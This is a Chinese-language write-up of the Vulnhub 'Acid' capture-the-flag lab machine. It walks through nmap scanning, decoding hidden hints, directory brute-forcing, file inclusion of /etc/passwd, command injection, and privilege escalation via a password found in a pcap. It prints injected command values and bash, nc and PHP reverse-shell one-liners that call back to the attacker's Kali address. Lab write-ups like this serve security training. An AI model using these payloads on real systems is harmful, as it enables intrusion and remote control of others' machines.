【Vulnhub系列】Acid

下载连接:https://download.vulnhub.com/acid/Acid.rar

靶机说明

Welcome to the world of Acid.
Fairy tails uses secret keys to open the magical doors.

欢迎来到酸的世界。童话故事需要使用秘密钥匙打开魔法门。

目标

获得root权限和flag。

运行环境

Kali:192.168.56.101

Windows:192.168.56.104

信息收集

先用nmap进行IP探测

nmap -sP -sV -sC -T5 192.168.56.0/24

经过筛选得出目标靶机的IP地址为:192.168.56.103

接下来我i我们用nmap 对目标IP进行端口扫描

nmap -p 1-65535 192.168.56.103

可以看出目标靶机只开放了33447端口

对目标端口进行识别

nmap -p 33447 -sV  192.168.56.103

也可以用过下面这个插件看出靶机的信息

漏洞挖掘的详细思路

• web挖掘思路：

(1) 查看每个网页的源码，看是否有提示；

(2) 暴破目录，用御剑或DirBuster，看是否有新网页，找新网页的漏洞；

• Apache挖掘思路：

(1) 寻找Apache2.4.10有无已知漏洞可利用：没有发现可直接利用的漏洞。

(2) 到www.exploit-db.com查询有无exp：没有找到exp。

(3) Nessus扫描一下主机漏洞：没有扫描出漏洞。

那我们从web下手

查看网页源码没有发现什么线索，但是查看网页元素出现了一串16进制编码

0x643239334c6d70775a773d3d

先用ascii码转换，再用base64位转换

直接在访问http://192.168.56.103:33447/wow.jpg

出现404

后来想到这个文件是图片，而且在之前扫描的目录中也出现过images的目录

那么应该访问

http://192.168.100.103:33447/images/wow.jpg

把图片保存到本地，并用notepad++打开在最底下发现了一串数字

把数字之间的冒号都去掉，长度位64猜想可能是经过ASCII编码

利用burp进行ASCII转码

解码出来的值位7aee0f6d588ed9905ee37f16a7c610d4

32位的MD5

7aee0f6d588ed9905ee37f16a7c610d4

去解密下

可能是一个密码或者是一个其他的编号

我们用Dirbuster进行目录的爆破

字典直接选用kali自带的Dirbuster字典

扫描结果如图

分别访问下列举出来的目录

访问cake.php提示要登陆，但是看到页面的title出现Magic_Box

访问include.php发现是一个文件包含

试着包含/etc/passwd

发现是可以的，但是没有上传点，不能上传webshell

再访问下hack.php

发现要添加ID，随手输入个出现提示

试着把我们刚刚解码的那个输入进去看看，也是同样的提示

我们之前不是发现了Magic_Box的目录嘛

我们试着访问下

http://192.168.56.103:33447/Challenge/Magic_Box/

发现是存在的，那么我们继续对这个路径进行扫描

扫描结果如下：

访问command.php发现是一个命令执行

我们测试下127.0.0.1;ls

成功执行，额外还发现一个tail.php

那么我们就用nc反弹shell

先用kali监听端口

尝试bash反弹shell、nc反弹shell（注意需要进行url编码）

如下payload都失败：

bash -i >& /dev/tcp/192.168.56.101/5555 0>&1

nc -e /bin/bash -d 192.168.56.101 5555

目标靶机有php环境，那么我们试下php反弹

127.0.0.1;php -r '$sock=fsockopen("192.168.56.101",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

成功拿到一个shell

然后我们用python模拟出一个终端

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

接下来我们就来提升权限

先 cat /etc/passwd 看看有哪些用户使用/bin/sh

查找每个用户的文件

find / -user 用户名称 2>/dev/null -ls

在用户acid的文件中发现一个奇怪的文件

发现/sbin/raw_vs_isi/hint.pcapng文件，这是一个网络流量抓包文件，将其拷贝的kali上，用Wireshark打开：

cd到/sbin/raw_vs_isi/目录

然后用python开启建议HTTP服务

python -m SimpleHTTPServer 8080

然后在kali上 访问 http://192.168.56.103:8080进行下载

然后用wireshark打开，只看TCP协议的包，发现saman的密码：1337hax0r

su提权到saman、root，获得flag

然后在输入 sudo -i切换到root并得到flag